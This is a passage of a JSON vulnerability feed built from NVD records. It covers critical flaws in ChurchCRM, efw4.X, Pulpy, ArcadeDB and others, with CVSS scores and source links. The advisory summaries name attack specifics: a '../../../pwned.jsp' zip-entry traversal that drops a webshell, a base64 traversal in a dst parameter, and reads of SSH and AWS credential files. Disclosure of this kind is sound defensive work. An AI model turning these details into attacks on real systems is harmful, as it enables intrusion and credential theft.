fixes.","publishedAt":"2026-05-13T13:16:42.750Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40621","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40621","type":"primary","publishedAt":"2026-05-13T13:16:42.750Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32661","cveId":"CVE-2026-32661","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version).","summary":"Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version). If a remote attacker sends a specially crafted request to the product's web service, arbitrary code may be executed when the product is configured to run pop3wallpasswd with grdnwww user privilege.","detail":"Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version). If a remote attacker sends a specially crafted request to the product's web service, arbitrary code may be executed when the product is configured to run pop3wallpasswd with grdnwww user privilege.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T06:16:14.253Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32661","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32661","type":"primary","publishedAt":"2026-05-13T06:16:14.253Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44547","cveId":"CVE-2026-44547","aliases":[],"kind":"vulnerability","title":"ChurchCRM is an open-source church management system.","summary":"ChurchCRM is an open-source church management system. From 7.2.0 to 7.2.2, The fix for CVE-2026-4058 is incomplete. The hardening commit was merged and then silently stripped from src/api/routes/public/public-user.php by an unrelated PR before any 7.2.x tag was cut. Every shipped 7.2.x release therefore remains exploitable by the PoC published with the original advisory. This vulnerability is fixed in 7.3.1.","detail":"ChurchCRM is an open-source church management system. From 7.2.0 to 7.2.2, The fix for CVE-2026-4058 is incomplete. The hardening commit was merged and then silently stripped from src/api/routes/public/public-user.php by an unrelated PR before any 7.2.x tag was cut. Every shipped 7.2.x release therefore remains exploitable by the PoC published with the original advisory. This vulnerability is fixed in 7.3.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:18.610Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44547","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44547","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44547","type":"primary","publishedAt":"2026-05-12T23:16:18.610Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42288","cveId":"CVE-2026-42288","aliases":[],"kind":"vulnerability","title":"ChurchCRM is an open-source church management system.","summary":"ChurchCRM is an open-source church management system. Prior to 7.3.2, The fix for CVE-2026-39337 is incomplete. The pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard via unsanitized DB_PASSWORD remains fully exploitable This vulnerability is fixed in 7.3.2.","detail":"ChurchCRM is an open-source church management system. Prior to 7.3.2, The fix for CVE-2026-39337 is incomplete. The pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard via unsanitized DB_PASSWORD remains fully exploitable This vulnerability is fixed in 7.3.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:17.600Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42288","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42288","type":"primary","publishedAt":"2026-05-12T23:16:17.600Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44262","cveId":"CVE-2026-44262","aliases":[],"kind":"vulnerability","title":"Scramble generates API documentation for Laravel project.","summary":"Scramble generates API documentation for Laravel project. From 0.13.2 to before 0.13.22, when documentation endpoints are publicly accessible and validation rules reference user-controlled input, request supplied data may be evaluated during documentation generation, leading to execution of arbitrary PHP code in the application context. This vulnerability is fixed in 0.13.22.","detail":"Scramble generates API documentation for Laravel project. From 0.13.2 to before 0.13.22, when documentation endpoints are publicly accessible and validation rules reference user-controlled input, request supplied data may be evaluated during documentation generation, leading to execution of arbitrary PHP code in the application context. This vulnerability is fixed in 0.13.22.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:36.563Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44262","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44262","type":"primary","publishedAt":"2026-05-12T22:16:36.563Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44258","cveId":"CVE-2026-44258","aliases":[],"kind":"vulnerability","title":"efw4.X is an Enterprise Framework for Web.","summary":"efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the elfinder_checkRisk function validates target and targets for path traversal and home containment, but does not validate the dst (destination) parameter used by elfinder_paste. An attacker can copy or move files from within the home directory to any arbitrary destination by setting dst to a base64-encoded traversal path. This bypasses the protected=true security control. This vulnerability is fixed in 4.08.010.","detail":"efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the elfinder_checkRisk function validates target and targets for path traversal and home containment, but does not validate the dst (destination) parameter used by elfinder_paste. An attacker can copy or move files from within the home directory to any arbitrary destination by setting dst to a base64-encoded traversal path. This bypasses the protected=true security control. This vulnerability is fixed in 4.08.010.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:36.127Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44258","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44258","type":"primary","publishedAt":"2026-05-12T22:16:36.127Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44257","cveId":"CVE-2026-44257","aliases":[],"kind":"vulnerability","title":"efw4.X is an Enterprise Framework for Web.","summary":"efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, efw.file.FileManager.unZip writes zip entries to disk using new File(baseDir, zipEntry.getName()) with no canonical-path check. An entry name such as ../../../pwned.jsp escapes the intended extraction directory and lands anywhere the Tomcat process can write — including the servlet context root. Combined with the framework's multipart /uploadServlet and an event that calls file.saveUploadFiles + FileManager.unZip, a remote attacker with no credentials drops a JSP webshell and executes arbitrary commands as the Tomcat user. This vulnerability is fixed in 4.08.010.","detail":"efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, efw.file.FileManager.unZip writes zip entries to disk using new File(baseDir, zipEntry.getName()) with no canonical-path check. An entry name such as ../../../pwned.jsp escapes the intended extraction directory and lands anywhere the Tomcat process can write — including the servlet context root. Combined with the framework's multipart /uploadServlet and an event that calls file.saveUploadFiles + FileManager.unZip, a remote attacker with no credentials drops a JSP webshell and executes arbitrary commands as the Tomcat user. This vulnerability is fixed in 4.08.010.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:35.840Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44257","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44257","type":"primary","publishedAt":"2026-05-12T22:16:35.840Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42196","cveId":"CVE-2026-42196","aliases":[],"kind":"vulnerability","title":"django-s3file is a lightweight file upload input for Django and Amazon S3.","summary":"django-s3file is a lightweight file upload input for Django and Amazon S3. Prior to 7.0.2, S3FileMiddleware is vulnerable to relative path traversal attacks, where an attacker can use a modified request to escape pre-signed upload locations and have the Django application load files from random locations into request.FILES. Depending on how files are handled, this may lead to confidentiality and integrity issues. This vulnerability is fixed in 7.0.2.","detail":"django-s3file is a lightweight file upload input for Django and Amazon S3. Prior to 7.0.2, S3FileMiddleware is vulnerable to relative path traversal attacks, where an attacker can use a modified request to escape pre-signed upload locations and have the Django application load files from random locations into request.FILES. Depending on how files are handled, this may lead to confidentiality and integrity issues. This vulnerability is fixed in 7.0.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:34.193Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42196","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42196","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42196","type":"primary","publishedAt":"2026-05-12T22:16:34.193Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44225","cveId":"CVE-2026-44225","aliases":[],"kind":"vulnerability","title":"Pulpy is a lightweight, cross-platform desktop application packager for web apps.","summary":"Pulpy is a lightweight, cross-platform desktop application packager for web apps. Prior to 0.1.1, Pulpy injects a pulpy.fs JavaScript API into every packaged web application, giving it access to the host filesystem. A validateFsPath() function is supposed to sandbox this access, but its blocklist is incomplete. Any web app packaged with Pulpy can read and write arbitrary files in the user's home directory — including ~/.ssh/id_rsa, ~/.aws/credentials, and ~/Library/Keychains/. This vulnerability is fixed in 0.1.1.","detail":"Pulpy is a lightweight, cross-platform desktop application packager for web apps. Prior to 0.1.1, Pulpy injects a pulpy.fs JavaScript API into every packaged web application, giving it access to the host filesystem. A validateFsPath() function is supposed to sandbox this access, but its blocklist is incomplete. Any web app packaged with Pulpy can read and write arbitrary files in the user's home directory — including ~/.ssh/id_rsa, ~/.aws/credentials, and ~/Library/Keychains/. This vulnerability is fixed in 0.1.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:43.427Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44225","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44225","type":"primary","publishedAt":"2026-05-12T20:16:43.427Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44221","cveId":"CVE-2026-44221","aliases":[],"kind":"vulnerability","title":"ArcadeDB is a Multi-Model DBMS.","summary":"ArcadeDB is a Multi-Model DBMS. Starting in version 21.10.1 and prior to version 26.4.2, authenticated users and API tokens scoped to a specific database could read, write, and mutate schema on any other database on the same server. Two distinct defects contributed: (1) ServerSecurityUser.getDatabaseUser() returned a DB user with an uninitialized fileAccessMap, which requestAccessOnFile treated as allow-all; (2) ArcadeDBServer.createDatabase() omitted factory.setSecurity(...) so any database created via POST /api/v1/server {\"command\":\"create database X\"} had its entire record-level authorization system silently disabled. In combination, record-level and database-level authorization could be bypassed by any authenticated principal. This vulnerability is fixed in 26.4.2.","detail":"ArcadeDB is a Multi-Model DBMS. Starting in version 21.10.1 and prior to version 26.4.2, authenticated users and API tokens scoped to a specific database could read, write, and mutate schema on any other database on the same server. Two distinct defects contributed: (1) ServerSecurityUser.getDatabaseUser() returned a DB user with an uninitialized fileAccessMap, which requestAccessOnFile treated as allow-all; (2) ArcadeDBServer.createDatabase() omitted factory.setSecurity(...) so any database created via POST /api/v1/server {\"command\":\"create database X\"} had its entire record-level authorization system silently disabled. In combination, record-level and database-level authorization could be bypassed by any authenticated principal. This vulnerability is fixed in 26.4.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:43.020Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44221","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44221","type":"primary","publishedAt":"2026-05-12T20:16:43.020Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42889","cveId":"CVE-2026-42889","aliases":[],"kind":"vulnerability","title":"Relay adds real-time collaboration to Obsidian.","summary":"Relay adds real-time collaboration to Obsidian. Relay Server versions 0.9.0 through 0.9.6 contain an authentication bypass in the multi-document WebSocket endpoints. When authentication is configured, WebSocket connections without a token query parameter were incorrectly treated as having full server permissions. An unauthenticated network attacker who knows or guesses a document ID could connect to the document sync WebSocket and read or modify document contents without a valid document token. This vulnerability is fixed in 0.9.7.","detail":"Relay adds real-time collaboration to Obsidian. Relay Server versions 0.9.0 through 0.9.6 contain an authentication bypass in the multi-document WebSocket endpoints. When authentication is configured, WebSocket connections without a token query parameter were incorrectly treated as having full server permissions. An unauthenticated network attacker who knows or guesses a document ID could connect to the document sync WebSocket and read or modify document contents without a valid document token. This vulnerability is fixed in 0.9.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:42.143Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42889","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42889","type":"primary","publishedAt":"2026-05-12T20:16:42.143Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE 